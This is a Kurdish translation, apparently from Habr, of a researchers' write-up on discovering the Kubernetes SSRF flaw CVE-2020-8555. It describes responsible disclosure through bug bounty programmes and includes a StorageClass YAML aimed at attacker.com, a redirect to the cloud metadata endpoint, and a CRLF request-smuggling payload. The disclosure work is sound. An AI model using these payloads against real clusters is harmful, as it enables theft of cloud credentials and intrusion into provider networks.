🥇Gava ku ew ne tenê li ser lawazbûna Kubernetes e...

Not. werger.: Nivîskarên vê gotarê bi hûrgulî dipeyivin ka wan çawa karî ku qelsiyê kifş bikin CVE-2020–8555 li Kubernetes. Her çend di destpêkê de ew pir xeternak xuya nedikir, lê digel faktorên din, krîtîkbûna wê ji bo hin pêşkêşkerên ewr herî zêde derket holê. Gelek rêxistinan ji bo xebata wan pisporan bi comerdî xelat kirin.

Em kî ne

Em du lêkolînerên ewlehiyê yên Frensî ne ku bi hev re qelsiyek li Kubernetes keşf kirin. Navên me Brice Augras û Christophe Hauquiert in, lê li ser gelek platformên Bug Bounty em bi rêzdarî wekî Reeverzax û Hach têne zanîn:

Brice Augras - Pargîdaniya Groupe Asten;
Christophe Hauquiert - Mîmarê Kubernetes li Nokia.

Çi qewimî?

Ev gotar awayê parvekirina me ye ku çawa projeyek lêkolînê ya asayî ji nedîtî ve veguherî serpêhatiya herî balkêş a di jiyana nêçîrvanan de (qet nebe heya niha).

Wekî ku hûn dizanin, nêçîrvanên xeletî çend taybetmendiyên berbiçav hene:

ew bi pizza û bîrayê dijîn;
ew dixebitin dema ku her kesê din di xew de ye.

Em ji van qaîdeyan ne îstîsna ne: em bi gelemperî dawiya heftê li hev dicivin û şevên bêxew bi hakkirinê derbas dikin. Lê yek ji van şevan bi awayekî pir neasayî bi dawî bû.

Di destpêkê de em ê ji bo beşdarbûnê bicivin CTF roja din. Di dema danûstendinek li ser ewlehiya Kubernetes di hawîrdorek karûbarê birêvebir de, me ramana kevn a SSRF bi bîr anî (Server-Side Daxwaza Forgery) û biryar da ku wê wekî skrîpta êrîşê bikar bîne.

Saet 11 êvarê em rûniştin lêkolîna xwe bikin û serê sibê zû razan, ji encaman pir razî bûn. Ji ber vê lêkolînê bû ku em rastî bernameya MSRC Bug Bounty hatin û bi îstîsmarek zêdekirina îmtiyazê hatin.

Çend hefte/meh derbas bûn, û encama meya neçaverêkirî di dîroka Azure Cloud Bug Bounty de yek ji xelatên herî bilind encam da - ji bilî ya ku me ji Kubernetes wergirt!

Li ser bingeha projeya meya lêkolînê, Komîteya Ewlekariya Hilbera Kubernetes weşand CVE-2020–8555.

Naha ez dixwazim bi qasî ku gengaz be agahdariya li ser qelsiya hatî dîtin belav bikim. Em hêvî dikin ku hûn dîtinê binirxînin û hûrguliyên teknîkî bi endamên din ên civata infosec re parve bikin!

Ji ber vê yekê çîroka me ev e ...

Context

Ji bo ku hûn tiştê ku qewimî herî zêde fêm bikin, ka em pêşî lê binihêrin ka Kubernetes çawa di hawîrdorek birêvebiriya ewr de dixebite.

Gava ku hûn komek Kubernetes di hawîrdorek wusa de destnîşan dikin, qata rêveberiyê bi gelemperî berpirsiyariya peydakerê ewr e:

Parçeya kontrolê li dora pêşkêşkarê ewr e, dema ku girêkên Kubernetes li derûdora xerîdar in.

Ji bo veqetandina dînamîkî ya cildan, mekanîzmayek tê bikar anîn da ku wan bi dînamîkî ji paşverûyek hilanînê ya derveyî peyda bike û wan bi PVC-yê re berhev bike (îdiaya hêjmarê ya domdar, ango daxwazek cildê).

Bi vî rengî, piştî ku PVC di komika K8s de hate afirandin û bi StorageClass ve girêdayî ye, kiryarên din ên ji bo peydakirina dengan ji hêla rêveberê kontrolkerê kube / cloudê ve têne girtin (navê wê yê rast bi berdanê ve girêdayî ye). (Not. werger.: Me berê bêtir li ser CCM nivîsandiye ku mînaka pêkanîna wê ji bo yek ji pêşkêşkerên ewr bikar tîne vir.)

Gelek celeb pêşkêşker hene ku ji hêla Kubernetes ve têne piştgirî kirin: piraniya wan di nav de ne orkestrator core, dema ku yên din ji hêla dabînkerên din ên ku di qulikan de di nav komê de têne bicîh kirin têne rêve kirin.

Di lêkolîna xwe de, me bal kişand ser mekanîzmaya dabînkirina qebareya navxweyî, ku li jêr tê destnîşan kirin:

Dabînkirina dînamîkî ya cildan bi karanîna dabînkerê Kubernetes-a çêkirî

Bi kurtasî, dema ku Kubernetes li hawîrdorek birêvebirî tê bicîh kirin, rêvebirê kontrolker berpirsiyarê peydakerê ewr e, lê daxwaza çêkirina dengdanê (hejmar 3 di xêza jor de) ji tora navxweyî ya peydakerê ewr derdikeve. Û ev e ku tişt bi rastî balkêş dibin!

Senaryoya Hacking

Di vê beşê de, em ê rave bikin ka me çawa ji xebata ku li jor hatî behs kirin sûd werdigire û gihîştiye çavkaniyên hundurîn ên peydakarê karûbarê ewr. Di heman demê de ew ê nîşanî we bide ka hûn çawa dikarin hin çalakiyan bikin, wek wergirtina pêbaweriyên hundurîn an zêdekirina îmtiyazan.

Yek manîpulasyonek hêsan (di vê rewşê de, Daxwaza Aliyê Karûbar Forgery) alikar kir ku ji hawîrdora xerîdar derkeve nav komikên cûrbecûr peydakiroxên karûbarê di bin K8-ên birêvebir de.

Di lêkolîna xwe de me bal kişand ser peydakerê GlusterFS. Digel vê rastiyê ku rêzika çalakiyan di vê çarçoveyê de tête diyar kirin, Quobyte, StorageOS û ScaleIO ji heman xizaniyê re têkildar in.

Bikaranîna mekanîzmaya dabînkirina qebareya dînamîkî

Di dema analîza çîna hilanînê de GlusterFS di koda çavkaniya xerîdar a Golang de em ferq kirinku li ser daxwaza yekem a HTTP (3) di dema çêkirina volumê de, heya dawiya URL-ya xwerû ya di pîvanê de hatî şandin resturl zêdekirin /volumes.

Me biryar da ku bi lêzêdekirina vê rêya zêde ji holê rakin # di parametreyê de resturl. Li vir veavakirina YAML ya yekem e ku me bikar anî ji bo ceribandîyek SSRF-ya nîv-kor. (hûn dikarin li ser SSRF-ya nîv-kor an nîv-kor bêtir bixwînin, wek nimûne, vir - nêzîkî. werger.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Dûv re me binary bikar anî da ku ji dûr ve koma Kubernetes birêve bibe kubectl. Bi gelemperî, pêşkêşkerên ewr (Azure, Google, AWS, hwd.) dihêle hûn ji bo karanîna di vê amûreyê de pêbaweriyan bistînin.

Bi saya vê, min karî dosyaya xwe ya "taybet" bikar bînim. Kube-kontroller-rêveber daxwaza HTTP-ê ya encam kir:

kubectl create -f sc-poc.yaml

Bersiva ji aliyê êrîşkar

Demek kin piştî vê yekê, me di heman demê de karîbû bersivek HTTP-ê ji servera armanc - bi navgîniya fermanan- werbigirin describe pvc an get events li kubectl. Û bi rastî: ev ajokera xwerû ya Kubernetes di hişyarî / peyamên xeletiya xwe de pir devkî ye ...

Li vir mînakek bi girêdanek heye https://www.google.frwek parametre danîn resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Di vê nêzîkatiyê de, em bi pirsên mîna sînor bûn HTTP POST û heke koda vegerê bûya, nikaribû naveroka laşê bersivê bistîne 201. Ji ber vê yekê, me biryar da ku em lêkolînek din bikin û vê senaryoya hackkirinê bi nêzîkatiyên nû berfirehtir kir.

Pêşveçûna lêkolîna me

Senaryoya Pêşkeftî #1: Bikaranîna beralîkirina 302 ji serverek derveyî ji bo guhertina rêbaza HTTP-ê da ku rêyek maqûltir peyda bike da ku daneyên hundurîn berhev bike.
Senaryoya Pêşkeftî #2: Vedîtina LAN û vedîtina çavkaniya hundurîn bixweber bike.
Senaryoya pêşkeftî #3: bikaranîna HTTP CRLF + qaçaxçîtiyê ("daxwaza qaçaxçîtiyê") ji bo afirandina daxwazên HTTP-ê yên lihevhatî û wergirtina daneyên ku ji têketinên kube-kontrolker hatine derxistin.

Taybetmendiyên Teknîkî

Lêkolînê Karûbarê Azure Kubernetes (AKS) bi guhertoya Kubernetes 1.12 li herêma Bakurê Ewrûpayê bikar anî.
Senaryoyên ku li jor hatine destnîşan kirin li ser serbestberdanên herî dawî yên Kubernetes hatine darve kirin, ji bilî senaryoya sêyemîn, ji ber ku pêdiviya wî bi Kubernetes hebû ku bi guhertoya Golang ≤ 1.12 hatî çêkirin.
Pêşkêşkara derve ya êrîşkar - https://attacker.com.

Senaryoya Pêşketî #1: Beralîkirina daxwazek HTTP POST ji bo GET û wergirtina daneyên hesas

Rêbaza orîjînal ji hêla veavakirina servera êrîşkar ve hate çêtir kirin ku vegere 302 HTTP Retcodeji bo veguhertina daxwazek POST bo daxwazek GET (gav 4 di diagramê de):

Daxwaza yekem (3) ji xerîdar tê GlusterFS (Rêveberê Kontrolker), celebek POST heye. Bi şopandina van gavan me karî wê veguherînin GET:

Wek parametre resturl di StorageClass de ew tê destnîşan kirin http://attacker.com/redirect.php.
Endpoint https://attacker.com/redirect.php Bi kodek statûya 302 HTTP bi Sernavê Cihê jêrîn bersiv dide: http://169.254.169.254. Ev dikare çavkaniyek navxweyî ya din be - di vê rewşê de, girêdana beralîkirinê tenê wekî mînakek tê bikar anîn.
by default pirtûkxaneya net/http Golang daxwazê beralî dike û POST-ê bi kodek statûya 302 vediguhezîne GET-ê, di encamê de daxwazek HTTP GET ji çavkaniya armancê re peyda dike.

Ji bo xwendina laşê bersiva HTTP-ê divê hûn bikin describe Tişta PVC:

kubectl describe pvc xxx

Li vir mînakek bersivek HTTP-ê ya di formata JSON de ye ku me karîbû werbigire:

Kapasîteyên qelsiya ku di wê demê de hatî dîtin ji ber xalên jêrîn sînordar bûn:

Nekarîna sernavên HTTP-ê têxin nav daxwaza derketinê.
Nekarîniya pêkanîna daxwazek POST bi pîvanên di laş de (ev hêsan e ku meriv nirxa sereke ji mînakek etcd ku li ser tê xebitandin bixwaze 2379 port heke HTTP-ya neşîfrekirî tê bikar anîn).
Dema ku koda statûyê 200 bû û bersiv ne xwediyê Cûreyek Naveroka JSON bû, nekarîna naveroka laşê bersivê bikişîne.

Senaryoya pêşkeftî #2: Skenandina tora herêmî

Dûv re ev rêbaza SSRF-ya nîv-kor hate bikar anîn da ku tora hundurîn a pêşkêşkarê ewr bişopîne û li ser bingeha bersivan karûbarên cûda yên guhdarîkirinê (mînakek Metadata, Kubelet, hwd., hwd.) were şopandin. kontrolkerê kube.

Pêşîn, portên guhdariya standard ên pêkhateyên Kubernetes hatin destnîşankirin (8443, 10250, 10251, hwd.), û dûv re jî me neçar ma ku pêvajoya şopandinê otomatîk bikin.

Me dît ku ev rêbaza şopandina çavkaniyan pir taybetî ye û bi skanerên klasîk û amûrên SSRF re ne hevaheng e, me biryar da ku em xebatkarên xwe di skrîptek bash de biafirînin ku tevahiya pêvajoyê otomatîk dike.

Mînakî, ji bo ku bi lez 172.16.0.0/12 rêzika tora hundurîn were şopandin, 15 karker bi hev re hatin destpêkirin. Rêzeya IP-ya jorîn tenê wekî mînakek hate hilbijartin û dibe ku li gorî rêzika IP-ya pêşkêşkarê karûbarê weya taybetî were guheztin.

Ji bo şopandina yek navnîşana IP-ê û yek portê, hûn hewce ne ku jêrîn bikin:

StorageClass-a paşîn a kontrolkirî jêbirin;
Daxwaza Voluma Berdewam a berê ya piştrastkirî jêbirin;
di nav de nirxên IP û Portê biguherînin sc.yaml;
bi IP û portek nû re StorageClass biafirînin;
PVC-ya nû çêbikin;
encamên şopandinê derxînin ku ji bo PVC-ê diyar dikin.

Senaryoya pêşkeftî #3: Derziya CRLF + qaçaxçîtiya HTTP di guhertoyên "kevn" ên koma Kubernetes de

Ger ji bilî vê yekê pêşkêşker guhertoyên kevn ên koma K8s pêşkêşî xerîdaran kir и ji wan re gihîştina têketinên kube-kontroller-rêveber da wan, bandor hîn girîngtir bû.

Bi rastî ji bo êrîşkerek pir hêsantir e ku daxwazên HTTP-ê yên ku ji bo wergirtina bersivek HTTP-ya tevahî li gorî biryara xwe hatine çêkirin biguhezîne.

Ji bo pêkanîna senaryoya paşîn, şert û mercên jêrîn diviyabû ku were bicîh kirin:

Pêdivî ye ku bikarhêner bigihîje têketinên kube-kontroller-rêveber (wek mînak, di Azure LogInsights de).
Pêdivî ye ku koma Kubernetes guhertoyek Golang ji 1.12 kêmtir bikar bîne.

Me hawîrdorek herêmî ya ku pêwendiya di navbera xerîdar GlusterFS Go û serverek armancek sexte de simule kir (em ê heya niha dev ji weşandina PoC-ê berdin).

Hat dîtin lawazbûn, bandorê li guhertoyên Golang ji 1.12-ê kêmtir dike û dihêle hackers qaçaxçîtiya HTTP/êrîşên CRLF bikin.

Bi berhevkirina SSRF-ya nîv-kor ku li jor hatî destnîşan kirin вместе Bi vê yekê, me karîbû daxwazên li gorî dilê xwe bişînin, di nav de guheztina sernivîsan, rêbaza HTTP, pîvan û daneyan, ku kube-kontroller-rêveber dûv re pêvajo kir.

Li vir mînakek "bait" a xebatê di parametreyek de ye resturl StorageClass, ku senaryoyek êrîşek wekhev pêk tîne:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Encam xeletiyek e bersiva nexwestî, peyamek li ser ku di têketinên kontrolker de tê tomar kirin. Bi xêra lêkera ku ji hêla xwerû ve hatî çalak kirin, naveroka peyama bersiva HTTP jî li wir têne tomar kirin.

Di çarçeweya îsbatkirina têgînê de "baya" me ya herî bi bandor bû.

Bi karanîna vê nêzîkatiyê, me karî hin êrîşên jêrîn li ser komên pêşkêşkerên k8s-ê yên cihêreng bi rêve bibin: zêdekirina îmtiyazê bi pêbaweriyên li ser mînakên metadata, Master DoS bi navgîniya (neşîfrekirî) daxwazên HTTP-ê li ser mînakên masterê etcd, hwd.

Hilbijartin

Di daxuyaniya fermî ya Kubernetes de di derbarê qelsiya SSRF ya ku me kifş kir de, ew nirxand CVSS 6.3/10: CVSS: 3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ger em tenê qelsiya ku bi perimeterê Kubernetes ve girêdayî ye, vektora yekitiyê bifikirin (vektora yekitiyê) ew wekî kalîfîye dike Netû.

Lêbelê, nirxandina encamên mimkun di çarçoweya jîngehek karûbarê rêvebirinî de (û ev beşa lêkolîna me ya herî balkêş bû!) me teşwîq kir ku em qelsiyê ji nû ve binirxînin. CVSS10/10 krîtîk ji bo gelek belavkeran.

Li jêr agahdariya zêde heye ku ji we re bibe alîkar ku hûn di dema nirxandina bandorên potansiyel ên li hawîrdorên ewr de ramanên me fam bikin:

Linavketinî

Bi karanîna pêbaweriyên hundurîn ên bidestxistî, fermanan ji dûr ve bicîh bikin.
Ji nû ve hilberîna senaryoya jorîn bi karanîna rêbaza IDOR (Referansa Rasterê ya Neewle) digel çavkaniyên din ên ku li ser tora herêmî têne dîtin.

Veşarî

Cureyê êrîşê Tevgera Lateral bi saya dizîna pêbaweriyên ewr (mînak, metadata API).
Bi şopandina tora herêmî (tesîskirina guhertoya SSH, guhertoya servera HTTP, ...) berhevkirina agahiyan.
Agahdariya nimûne û binesaziyê bi hilkolandina API-yên navxweyî yên wekî API-ya metadata (http://169.254.169.254,…).
Dizîna daneyên xerîdar bi karanîna pêbaweriyên ewr.

Hilbijartinê

Hemî senaryoyên îstîsmarê yên bi vektorên êrîşê ve girêdayî ne linavketinî, dikare ji bo kiryarên wêranker were bikar anîn û bibe sedem ku mînakên masterê yên ji perimeterê xerîdar (an jî yên din) ne berdest bin.

Ji ber ku em li hawîrdorek K8-ê ya rêvebirinê bûn û bandora li ser yekrêziyê dinirxînin, em dikarin gelek senaryoyên ku dikarin bandorê li hebûna xwe bikin xeyal bikin. Mînakên pêvek xerakirina databasa etcd an çêkirina bangek krîtîk ji Kubernetes API re vedihewîne.

Kronolojî

6ê Kanûna Pêşiyê, 2019: Zehfbûn ji MSRC Bug Bounty re hate ragihandin.
3 Çile, 2020: Aliyek sêyemîn pêşdebirên Kubernetes agahdar kir ku em li ser pirsgirêkek ewlehiyê dixebitin. Û ji wan xwest ku SSRF wekî qelsiyek hundurîn (nav-core) bihesibînin. Dûv re me raporek giştî bi hûrguliyên teknîkî di derbarê çavkaniya pirsgirêkê de pêşkêş kir.
15ê Çile, 2020: Me raporên teknîkî û giştî li ser daxwaza wan (bi rêya platforma HackerOne) ji pêşdebirên Kubernetes re peyda kir.
15ê Çileya Paşîn, 2020: Pêşdebirên Kubernetes ji me re agahdar kirin ku derziya SSRF + CRLF ya nîv-kor ji bo berdanên paşîn wekî qelsiyek hundurîn tê hesibandin. Me tavilê dev ji analîzkirina perimeterên pêşkêşkerên karûbarê din berda: tîmê K8s naha bi sedema bingehîn re mijûl dibû.
15 Çile, 2020: Xelata MSRC bi HackerOne ve hatî wergirtin.
16ê Çileya Paşîn, 2020: Kubernetes PSC (Komîteya Ewlekariya Hilberê) qelsî nas kir û xwest ku ji ber hejmareke mezin a qurbaniyên potansiyel heya nîvê Adarê wê veşartî bimîne.
11 Sibat, 2020: Xelata Google VRP wergirt.
4ê Adarê, 2020: Xelata Kubernetes ji hêla HackerOne ve hatî wergirtin.
15ê Adar, 2020: Daxuyaniya gelemperî ya destpêkê ji ber rewşa COVID-19 hate paşxistin.
1 Hezîran, 2020: Daxuyaniya hevpar a Kubernetes + Microsoft di derbarê qelsbûnê de.

TL; DR

Em bîrê vedixwin û pîzza dixwin :)
Me di Kubernetes de qelsiyek hundurîn vedît, her çend me niyeta me tunebû ku wiya bikin.
Me analîzek zêde li ser komên pêşkêşkerên ewr ên cihêreng pêk anî û karîbû zirara ku ji ber xirapbûnê çêdibe zêde bikin da ku bonusên hêja yên din bistînin.
Hûn ê di vê gotarê de gelek hûrguliyên teknîkî bibînin. Em ê kêfxweş bibin ku wan bi we re nîqaş bikin (Twitter: @ReeverZax & @__hach_).
Derket holê ku her cûre fermîbûn û rapor ji ya ku dihat hêvî kirin pir dirêj dirêj kir.

references

PS ji wergêr

Li ser bloga me jî bixwînin:

Source: www.habr.com

Gava ku ew ne tenê li ser qelsiyên Kubernetes e ...